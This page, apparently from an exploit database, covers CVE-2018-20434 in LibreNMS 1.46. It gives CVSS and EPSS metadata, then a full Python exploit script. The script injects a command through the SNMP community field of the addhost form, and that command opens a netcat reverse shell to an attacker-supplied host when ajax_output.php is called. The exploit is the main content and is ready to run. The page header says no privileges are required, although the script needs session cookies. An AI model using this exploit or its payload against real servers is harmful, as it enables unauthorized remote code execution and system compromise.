Exploitalert - Database of Exploits

LibreNMS 1.46 addhost Remote Code Execution

CVE	Category	Price	Severity
CVE-2018-20434	CWE-94	$8,000	Critical

Author	Risk	Exploitation Type	Date
0ffensiVeSecurity	High	Remote	2019-06-28

CPE
cpe:cpe:/a:librenms:librenms:1.46

CVSS	EPSS	EPSSP
CVSS:8.8/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2019060177

LibreNMS 1.46 addhost Remote Code Execution

#!/usr/bin/python ''' # Exploit Title: LibreNMS v1.46 authenticated Remote Code Execution # Date: 24/12/2018 # Exploit Author: Askar (@mohammadaskar2) # CVE : CVE-2018-20434 # Vendor Homepage: https://www.librenms.org/ # Version: v1.46 # Tested on: Ubuntu 18.04 / PHP 7.2.10 ''' import requests from urllib import urlencode import sys if len(sys.argv) != 5: print "[!] Usage : ./exploit.py http://www.example.com cookies rhost rport" sys.exit(0) # target (user input) target = sys.argv[1] # cookies (user input) raw_cookies = sys.argv[2] # remote host to connect to rhost = sys.argv[3] # remote port to connect to rport = sys.argv[4] # hostname to use (change it if you want) hostname = "dummydevice" # payload to create reverse shell payload = "'$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {0} {1} >/tmp/f) #".format(rhost, rport) # request headers headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101" } # request cookies cookies = {} for cookie in raw_cookies.split(";"): # print cookie c = cookie.split("=") cookies[c[0]] = c[1] def create_new_device(url): raw_request = { "hostname": hostname, "snmp": "on", "sysName": "", "hardware": "", "os": "", "snmpver": "v2c", "os_id": "", "port": "", "transport": "udp", "port_assoc_mode": "ifIndex", "community": payload, "authlevel": "noAuthNoPriv", "authname": "", "authpass": "", "cryptopass": "", "authalgo": "MD5", "cryptoalgo": "AES", "force_add": "on", "Submit": "" } full_url = url + "/addhost/" request_body = urlencode(raw_request) # send the device creation request request = requests.post( full_url, data=request_body, cookies=cookies, headers=headers ) text = request.text if "Device added" in text: print "[+] Device Created Sucssfully" return True else: print "[-] Cannot Create Device" return False def request_exploit(url): params = { "id": "capture", "format": "text", "type": "snmpwalk", "hostname": hostname } # send the payload call request = requests.get(url + "/ajax_output.php", params=params, headers=headers, cookies=cookies ) text = request.text if rhost in text: print "[+] Done, check your nc !" if create_new_device(target): request_exploit(target)

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